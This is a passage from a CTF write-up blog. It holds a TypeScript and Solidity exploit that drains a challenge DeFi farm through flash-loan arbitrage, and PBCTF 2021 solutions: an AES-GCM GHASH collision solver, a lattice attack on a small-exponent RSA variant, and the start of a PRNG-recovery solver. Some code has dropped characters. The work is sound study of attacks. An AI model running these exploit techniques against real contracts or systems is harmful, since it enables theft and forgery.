    await delay(20000);
}
 
async function approve() {
    var calldata = N1TokenInterface.encodeFunctionData("approve", [N1Farm, BigNumber.from(2).pow(256).sub(1)]);
    console.log("approving N1Token to N1Farm");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : N1Token,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    await provider.send("eth_sendRawTransaction", [signed]);
    await delay(20000);
}
 
async function checkSolved() {
    var calldata = DeployInterface.encodeFunctionData("isSolved");
    console.log("checking solved");
    let signed = await signer.signTransaction({
        from : myAddress,
        to : Deploy,
        gasLimit: BigNumber.from(2000000),
        nonce : stnonce,
        data : calldata, 
        chainId: 1211,
    });
    stnonce += 1;
    console.log("stnonce : " + stnonce.toString());
    let txhash = await provider.send("eth_sendRawTransaction", [signed]);
    console.log("Final TxHash");
    console.log(txhash);
}
 
async function main() {
    console.log(await provider.getBalance(myAddress));
 
    let ExploitAddress = await deployContract();
    await forceArbitrage(ExploitAddress);
 
    let cur : BigNumber = await N1TokenContract.balanceOf(myAddress);
    console.log(cur.toBigInt());
    
    await approve();
 
    while(true) {
        await deposit(cur);
        await withdraw(cur.sub(1));
        await deposit(cur.sub(1));
        await withdraw(cur);
        
        console.log("myAddress");
        console.log((await N1TokenContract.balanceOf(myAddress)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(myAddress)).toBigInt());
 
        console.log("SimpleSwap Pools");
        console.log((await N1TokenContract.balanceOf(Pool)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(Pool)).toBigInt());
 
        console.log("poolInfo");
        console.log(await N1FarmContract.poolInfos(N1Token));
 
        console.log("N1Farm");
        console.log((await N1TokenContract.balanceOf(N1Farm)).toBigInt());
        console.log((await FlagTokenContract.balanceOf(N1Farm)).toBigInt());
 
        let flagbalance : BigNumber = await FlagTokenContract.balanceOf(myAddress);
        if(flagbalance.gt(BigNumber.from(200000).mul(BigNumber.from(10).pow(18)))) {
            break;
        }
    }
    
    await deposit(cur);
    await checkSolved();
}
 
 
main()
cs

 

solidity exploit for front running

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
pragma solidity 0.6.12;
 
// implement basic interfaces via simple copy paste...
 
contract Exploit is IflashLoanCallee {
    using SafeMath for uint256;
    IFlashLoanProvider private immutable flashloan = IFlashLoanProvider(0xe93dF93555f19C5b2b0410d38c815110E236c80C);
    ISimpleSwapPair private immutable pool = ISimpleSwapPair(0xb221898738D1925E73b0cdDF440aA1d44d5B7092);
    IERC20 private immutable N1Token = IERC20(0xedCdB0d6377bc484452A26E39CA9fcB3d57faA68);
    IERC20 private immutable FlagToken = IERC20(0xd46beffbA9F12d87295D42bB532429482F2bAEa2);
    IN1Farm private immutable N1Farm = IN1Farm(0x31adD2Ae6e9EF0c9F41c478916A8Ac2234A5E4FA); 
    function forceArbitrage() external {          
        flashloan.flashloan(4000000000000000000000"1");
    }
    function getAmountOut(uint amountAIn, uint reserveA, uint reserveB) public view returns (uint amountOut) {
        uint numerator = amountAIn.mul(reserveB);
        uint denominator = reserveA.add(amountAIn);
        amountOut = numerator.div(denominator);
    }
    function flashLoanCall(address sender, IERC20 token, uint256 amountOut, bytes calldata data) external override {
          (uint112 reserveA, uint112 reserveB) = pool.getReserves();
          uint recvAmount = getAmountOut(amountOut, reserveA, reserveB);
          N1Token.transfer(address(pool), amountOut);
          pool.swap(0, recvAmount, address(this), "");
          N1Farm.sellSomeForFlag();
          uint cur_flag = FlagToken.balanceOf(address(this));
          (uint112 reserveAn, uint112 reserveBn) = pool.getReserves();
          uint recvAmountn = getAmountOut(cur_flag, reserveBn, reserveAn);
          FlagToken.transfer(address(pool), cur_flag);
          pool.swap(recvAmountn, 0, address(this), "");
          N1Token.transfer(address(flashloan), amountOut);
          uint rem = N1Token.balanceOf(address(this));
          N1Token.transfer(address(0x0D2871cc404305ca4F141bA90cea3e8649b9B9fE), rem);
    }     
}
cs

 

 

'수학 > 암호론 및 CTF' 카테고리의 다른 글

N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26
CryptoCTF Writeups (DoRSA, Polish)  (0) 2021.08.05
  1. 가슴이 웅장해진다..

PBCTF 2nd place, Super Guesser (apparently Super Guessers)

Solved : Goodhash, Yet Another RSA, Yet Another PRNG, Seed Me

 

Goodhash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
 
from Crypto.Cipher import AES
from Crypto.Util.number import *
from flag import flag
import json
import os
import string
 
ACCEPTABLE = string.ascii_letters + string.digits + string.punctuation + " "
 
 
class GoodHash:
    def __init__(self, v=b""):
        self.key = b"goodhashGOODHASH"
        self.buf = v
 
    def update(self, v):
        self.buf += v
 
    def digest(self):
        cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.buf)
        enc, tag = cipher.encrypt_and_digest(b"\0" * 32)
        return enc + tag
 
    def hexdigest(self):
        return self.digest().hex()
 
 
if __name__ == "__main__":
    token = json.dumps({"token": os.urandom(16).hex(), "admin"False})
    token_hash = GoodHash(token.encode()).hexdigest()
    print(f"Body: {token}")
    print(f"Hash: {token_hash}")
 
    inp = input("> ")
    if len(inp) > 64 or any(v not in ACCEPTABLE for v in inp):
        print("Invalid input :(")
        exit(0)
 
    inp_hash = GoodHash(inp.encode()).hexdigest()
 
    if token_hash == inp_hash:
        try:
            token = json.loads(inp)
            if token["admin"== True:
                print("Wow, how did you find a collision?")
                print(f"Here's the flag: {flag}")
            else:
                print("Nice try.")
                print("Now you need to set the admin value to True")
        except:
            print("Invalid input :(")
    else:
        print("Invalid input :(")
 
cs

 

This is a hash collision challenge. We read the code to find the following two facts.

  • The hash function is computed by sending the input as the nonce, and encrypting 32 zero bytes with AES-GCM with a known key. 
  • Our collision needs to be in a JSON format, with "admin" being set to True.

Usually, in AES-GCM, the nonce is 12 bytes. However, we may send a bytearray with larger length, which suggests that there will be some logic that compresses our bytearray to be 12 bytes. With this in mind, we look at the pycryptodome library code.

 

https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/Cipher/_mode_gcm.py

 

The important part begins at line 229. If the length of the input nonce is not 12, we compute the GHASH of $$ \text{pad}(m) || 0^{64} || \text{len}(m)$$ where $\text{pad}(m)$ is $m$ padded to be a bytearray of length multiple of 16 by appending zero bytes appropriately.

To compute the GHASH, we use the finite field $GF(2^{128})$ and denote $$H = \text{Enc}_{key}(0^{128})$$ and apply $$\text{GHASH}(X_1 || X_2 || \cdots || X_n) = X_1 H^n + X_2 H^{n-1} + \cdots + X_n H$$ Since we already know $H$, we can control the GHASH of a bytearray even if we select all but one block arbitrarily. In other words, we can choose $n-1$ blocks in any way we want, and we can fully control the GHASH by carefully selecting the value of the remaining one block. 

 

Solution 1

 

The above fact gives us one immediate idea. We can attempt to construct a bytearray that 

  • Has length 61, which is the length of the original JSON, which is there to force same GHASH for the actual final block
  • Can be converted into a JSON structure, with "admin" being set to true 
  • Has the same GHASH after being padded to 64 bytes (i.e. 4 blocks) as the original JSON 

To do so, we can fix 2 out of the 4 blocks of the bytearray for it to be a JSON with "admin" set to true, arbitrarily select one of remaining blocks, then compute the final block so that it matches the GHASH, hoping that all four blocks only contain the allowed characters. For example, we can make the bytearray start with {"admin":true,"a and end with ":"abcdefgh"}\x00\x00\x00 since length 61 means \x00\x00\x00 will be padded at the end. Now we can randomly select some 16 byte string using allowed characters and set it as the second block, then compute the third block by matching GHASH to be equal, hoping that the third block also consists of allowed characters and do not interfere with the whole JSON business. While this works, and some people definitely have used this solution to solve, this idea is not very efficient. This is because the probability of success is quite low, and each trial does require some computation. 

 

Solution 2 

 

In my opinion, the cleaner way to solve this challenge is to view the GHASH equation not as a linear equation of blocks, but a linear equation of bits that make up those blocks. Indeed, due to the linear nature of the GHASH, we can actually consider the bytearray as a bit vector, and the GHASH function still keeps its linearity. Therefore, the GHASH equation is just a system of linear equations over $GF(2)$, where the variables are the 512 (64 bytes) bits of the padded bytearray. Let's keep a track of the equations that we have. 

  • Since the equation is over $GF(2^{128})$ we can convert this into 128 linear equations over $GF(2)$.
  • We can fix some characters - I made my padded JSON start with {"admin": true, "a": " and end with "}\x00\x00\x00.
  • This is a total of 27 characters, which is equivalent to 216 fixed bits over $GF(2)$.

Since we have 512 bits of freedom, we can definitely solve this. However, the issue of allowed characters is still there.

To make our random trial work with less trial and error, we add an extra idea - make every character's ASCII value between 64 and 95.

This can be done by forcing the 7th bit to be 0, 6th bit to be 1, and 5th bit to be 0.

  • Since we have 37 characters remaining, this gives us an additional 111 fixed bits over $GF(2)$.

Now $128 + 216 + 111$ is still well below $512$, so now we can just solve this matrix equation, try some random solutions using its kernel basis, and keep going on until we find a good collision for us to solve the challenge. Very fun challenge to work on :)

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
pclass GoodHash:
    def __init__(self, v=b""):
        self.key = b"goodhashGOODHASH"
        self.buf = v
 
    def update(self, v):
        self.buf += v
 
    def digest(self):
        cipher = AES.new(self.key, AES.MODE_GCM, nonce=self.buf)
        enc, tag = cipher.encrypt_and_digest(b"\0" * 32)
        return enc + tag
 
    def hexdigest(self):
        return self.digest().hex()
 
POL = PolynomialRing(GF(2), 'a')
= POL.gen()
= GF(2 ** 128, name = 'a', modulus = a ** 128 + a ** 7 + a ** 2 + a + 1)
 
def aes_enc(p, k):
    cipher = AES.new(key = k, mode = AES.MODE_ECB)
    return cipher.encrypt(p)
 
def int_to_finite(v):
    bin_block = bin(v)[2:].zfill(128)
    res = 0
    for i in range(128):
        res += (a ** i) * int(bin_block[i])
    return F(res)
 
def bytes_to_finite(v):
    v = bytes_to_long(v)
    return int_to_finite(v)
 
def finite_to_int(v):
    v = POL(v)
    res = v.coefficients(sparse = False)
    ret = 0
    for i in range(len(res)):
        ret += int(res[i]) * (1 << (127 - i))
    return ret
 
def finite_to_bytes(v):
    cc = finite_to_int(v)
    return long_to_bytes(cc, blocksize = 16)
 
def hasher(v):
    H = aes_enc(b"\x00" * 16, b"goodhashGOODHASH")
    H_f = bytes_to_finite(H)
    ret = F(0)
    res = bytes_to_long(v)
    bin_block = bin(res)[2:].zfill(512)
    bas = []
    for i in range(512):
        cc = F(a ** int(i % 128)) * F(H_f ** (3 - i // 128)) 
        bas.append(finite_to_int(cc))
        ret += F(a ** int(i % 128)) * F(H_f ** (3 - i // 128)) * int(bin_block[i])
    return bas, finite_to_int(ret)
 
ACCEPTABLE = string.ascii_letters + string.digits + string.punctuation + " "
print(ACCEPTABLE)
 
conn = remote('good-hash.chal.perfect.blue'1337)
body = conn.recvline()[6:-1]
print(body)
print(len(body))
print(conn.recvline())
 
bases, target = hasher(body + b"\x00\x00\x00")
 
starter = b'{"admin": true, "a": "'
finisher = b'"}\x00\x00\x00'
print(len(starter) + len(finisher))
 
print("[+] Building Matrix")
 
SZ = 128 + 37 * 3 + 27 * 8
= Matrix(GF(2), SZ, 512)
vv = []
 
for i in range(128):
    for j in range(512):
        M[i, j] = (bases[j] >> i) & 1
    vv.append((target >> i) & 1)
 
for i in range(37):
    M[3 * i + 1288 * (22 + i)] = 1
    vv.append(0# 128
    M[3 * i + 128 + 18 * (22 + i) + 1= 1
    vv.append(1# 64
    M[3 * i + 128 + 28 * (22 + i) + 2= 1
    vv.append(0# 32
 
for i in range(22):
    for j in range(8):
        M[8 * i + j + 37 * 3 + 1288 * i + j] = 1
        vv.append((int(starter[i]) >> (7 - j)) & 1)
for i in range(5):
    for j in range(8):
        M[8 * i + j + 37 * 3 + 22 * 8 + 1288 * (59 + i) + j] = 1
        vv.append((int(finisher[i]) >> (7 - j)) & 1)
 
vv = vector(GF(2), vv)
val = M.solve_right(vv)
kernels = M.right_kernel().basis()
 
print("[+] Finished Solving Matrix, Finding Collision Now...")
 
attempts = 0
 
while True:
    attempts += 1
    print(attempts)
    cur = val 
    for i in range(len(kernels)):
        cur += (kernels[i] * GF(2)(rand.randint(01)))
    fins = 0
    for i in range(512):
        fins = 2 * fins + int(cur[i])
    fins = long_to_bytes(fins)
    print(fins)
    fins = fins[:61]
    print(fins, len(fins))
    try:
        if len(fins) == 61 and (any(v not in ACCEPTABLE for v in fins.decode()) == False):
            token = json.loads(fins)
            bases2, finresult = hasher(fins + b"\x00\x00\x00")
            print(GoodHash(body + b"\x00\x00\x00").hexdigest())
            print(GoodHash(fins + b"\x00\x00\x00").hexdigest())
            print(target)
            print(finresult)
            print(token)
            if token["admin"== True:
                conn.sendline(fins)
                print(conn.recvline())
                print(conn.recvline())
                break
    except:
        pass
cs

 

 

Yet Another RSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
 
from Crypto.Util.number import *
import random
 
 
def genPrime():
    while True:
        a = random.getrandbits(256)
        b = random.getrandbits(256)
 
        if b % 3 == 0:
            continue
 
        p = a ** 2 + 3 * b ** 2
        if p.bit_length() == 512 and p % 3 == 1 and isPrime(p):
            return p
 
 
def add(P, Q, mod):
    m, n = P
    p, q = Q
 
    if p is None:
        return P
    if m is None:
        return Q
 
    if n is None and q is None:
        x = m * p % mod
        y = (m + p) % mod
        return (x, y)
 
    if n is None and q is not None:
        m, n, p, q = p, q, m, n
 
    if q is None:
        if (n + p) % mod != 0:
            x = (m * p + 2* inverse(n + p, mod) % mod
            y = (m + n * p) * inverse(n + p, mod) % mod
            return (x, y)
        elif (m - n ** 2) % mod != 0:
            x = (m * p + 2* inverse(m - n ** 2, mod) % mod
            return (x, None)
        else:
            return (NoneNone)
    else:
        if (m + p + n * q) % mod != 0:
            x = (m * p + (n + q) * 2* inverse(m + p + n * q, mod) % mod
            y = (n * p + m * q + 2* inverse(m + p + n * q, mod) % mod
            return (x, y)
        elif (n * p + m * q + 2) % mod != 0:
            x = (m * p + (n + q) * 2* inverse(n * p + m * q + r, mod) % mod
            return (x, None)
        else:
            return (NoneNone)
 
 
def power(P, a, mod):
    res = (NoneNone)
    t = P
    while a > 0:
        if a % 2:
            res = add(res, t, mod)
        t = add(t, t, mod)
        a >>= 1
    return res
 
 
def random_pad(msg, ln):
    pad = bytes([random.getrandbits(8for _ in range(ln - len(msg))])
    return msg + pad
 
 
p, q = genPrime(), genPrime()
= p * q
phi = (p ** 2 + p + 1* (q ** 2 + q + 1)
 
print(f"N: {N}")
 
= getPrime(400)
= inverse(d, phi)
= (e * d - 1// phi
 
print(f"e: {e}")
 
to_enc = input("> ").encode()
ln = len(to_enc)
 
print(f"Length: {ln}")
 
pt1, pt2 = random_pad(to_enc[: ln // 2], 127), random_pad(to_enc[ln // 2 :], 127)
 
= (bytes_to_long(pt1), bytes_to_long(pt2))
= power(M, e, N)
 
print(f"E: {E}")
 
cs

 

The obvious weird part in the script, excluding the whole mysterious group, is that $d$ is very small. 

This leads to some ideas like Wiener's attack or Boneh-Durfee's attack. Since we cannot compute $\phi$ with a very high precision, Wiener's attack does not work well. To be honest, I forgot about Boneh-Durfee and just started googling "Wiener's attack modulo $(p^2+p+1)(q^2+q+1)$". It gave me the paper https://eprint.iacr.org/2021/1160.pdf which had all the ideas and the solution for the problem as well. It also explains where the group comes from. I'll explain this part later. 

 

Since the paper explains the choice of polynomials to use LLL on very well, I implemented them directly and used https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage instead of defund's black-box (?) script. 

 

The Group

 

I figured this part out before I searched for the paper, but it really doesn't help with solving the challenge.

I started by thinking this was some sort of a curve, but I couldn't really think about the formula. I tried to find the curve formula by taking various monomials of coordinates of each points in the group and using the kernel of the matrix, but it failed as well. (For example, see the "Bonus" from hellman's writeup on CONFidence 2020 Finals https://nbviewer.org/gist/hellman/be17ac7b2363dd0cf6cca89c6a9e69bf)

This meant that this curve might not really be a curve. Now what do we do?

 

Then I looked at the $(m+p+nq)$ part. What could make that sort of a term? After some thought, I found $$(x^2+nx+m)(x^2+qx+p) = x^4 + (n + q)x^3 + (m + p + nq)x^2 + (np + mq)x + mp$$ which looked really suspicious. If we focused on the case where nothing was "None" and $m + p + nq$ is nonzero, we divide $m + p + nq$ to get our final values of $x, y$. This meant that something was done to make things monic. Also, that $2$ and $2(n+q)$ is very suspicious - and now we see that we can divide out by $x^3 - 2$. This gives us $$(m + p + nq)x^2 + (np + mq + 2) x + (mp + 2 (n + q))$$ and making this monic and taking coefficients gives us the $x,  y$ we have from the code. The "None" parts correspond to the cases where the polynomials are not quadratic - they are linear or even a constant. For example, the case where $n, q$ are "None" is equivalent to $(x+m)(x+p) = x^2 + (m+p)x + mp$. The other cases are similar and are left as exercises for the reader.

 

Now we can even compute the group order. If $x^3 - 2$ is irreducible over $GF(p)$, then this is just $GF(p^3)$, but with monic polynomials.

This means that the group size will be $$ \frac{p^3 - 1}{p - 1} = p^2 + p +1$$ which matches the $\phi$ description of the challenge source code.

 

Is $x^3 - 2$ irreducible? It turns out, yes. When $p \equiv 1 \pmod{3}$, results on cubic reciprocity state that $p$ can be uniquely expressed as $p = a^2 + 3b^2$, and $2$ is a cubic reciprocity of $p$ if and only if $b \equiv 0 \pmod{3}$. Check https://en.wikipedia.org/wiki/Cubic_reciprocity. Now we see that our prime generation completely blocks this, which means that $x^3 - 2$ has no solutions over $GF(p)$, hence irreducible. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
import time
 
############################################
# Config
##########################################
 
"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""
debug = True
 
"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""
strict = False
 
"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""
helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension
 
############################################
# Functions
##########################################
 
# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
 
    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
 
# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0< 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)
 
# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0<= dimension_min:
        return BB
 
    # we start by checking from the end
    for ii in range(current, -1-1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
 
            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
 
            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
 
 
def attack(N, e, m, t, X, Y):
    modulus = e
 
    PR.<x, y> = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1
 
    gg = []
    for k in range(0, m+1):
        for i in range(k, m+1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
    for k in range(0, m+1):
        for i in range(k, k+1):
            for j in range(2*k+22*i+t+1):
                gg.append(x^(i-k) * y^(j-2*k) * f^k * e^(m - k))
 
    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials
 
        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)
            
            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]
 
                return order_gg(idx + 1, new_gg, monomials + non)    
 
    gg, monomials = order_gg(0, gg, [])
 
    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0= gg[ii](00)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)
 
    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus^m, nn-1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 0,0
 
    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus^m)
    
    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus^(m*nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1-1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
 
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^m)
 
    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")
 
    BB = BB.LLL()
 
    if debug:
        print("LLL is done!")
 
    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False
    
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.<a, b> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a,b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a,b) * BB[pol2_idx, jj] / monomials[jj](X, Y)
 
            # resultant
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
 
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 00
    
    rr = rr(q, q)
 
    # solutions
    soly = rr.roots()
 
    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 00
 
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
 
    return solx, soly
 
def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]
 
= 144256630216944187431924086433849812983170198570608223980477643981288411926131676443308287340096924135462056948517281752227869929565308903867074862500573343002983355175153511114217974621808611898769986483079574834711126000758573854535492719555861644441486111787481991437034260519794550956436261351981910433997
= 3707368479220744733571726540750753259445405727899482801808488969163282955043784626015661045208791445735104324971078077159704483273669299425140997283764223932182226369662807288034870448194924788578324330400316512624353654098480234449948104235411615925382583281250119023549314211844514770152528313431629816760072652712779256593182979385499602121142246388146708842518881888087812525877628088241817693653010042696818501996803568328076434256134092327939489753162277188254738521227525878768762350427661065365503303990620895441197813594863830379759714354078526269966835756517333300191015795169546996325254857519128137848289
= 1 << 400
= 2 * inthroot(Integer(2 * N), 2)
 
res = attack(N, e, 42, X, Y)
print(res) # gives k and p + q, the rest is easy
cs

 

 

Yet Another PRNG

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
 
from Crypto.Util.number import *
import random
import os
from flag import flag
 
def urand(b):
    return int.from_bytes(os.urandom(b), byteorder='big')
 
class PRNG:
    def __init__(self):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
        rnd = random.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = [urand(4for _ in range(3)]
        self.y = [urand(4for _ in range(3)]
        self.z = [urand(4for _ in range(3)]
 
    def out(self):
        o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
 
        self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
        self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
        self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
 
        return o.to_bytes(8, byteorder='big')
 
if __name__ == "__main__":
    prng = PRNG()
 
    hint = b''
    for i in range(12):
        hint += prng.out()
    
    print(hint.hex())
 
    assert len(flag) % 8 == 0
    stream = b''
    for i in range(len(flag) // 8):
        stream += prng.out()
    
    out = bytes([x ^ y for x, y in zip(flag, stream)])
    print(out.hex())
    
 
cs

 

It turns out that taking the equations and shoving them to CVP repository works. 

https://github.com/rkm0959/Inequality_Solving_with_CVP is very strong :O :O :O 

I've been procrastinating with updating and writing about that repository, very sorry about that....

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
def urand(b):
    return int.from_bytes(os.urandom(b), byteorder='big')
 
class PRNGFinisher:
    def __init__(self, X, Y, Z):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
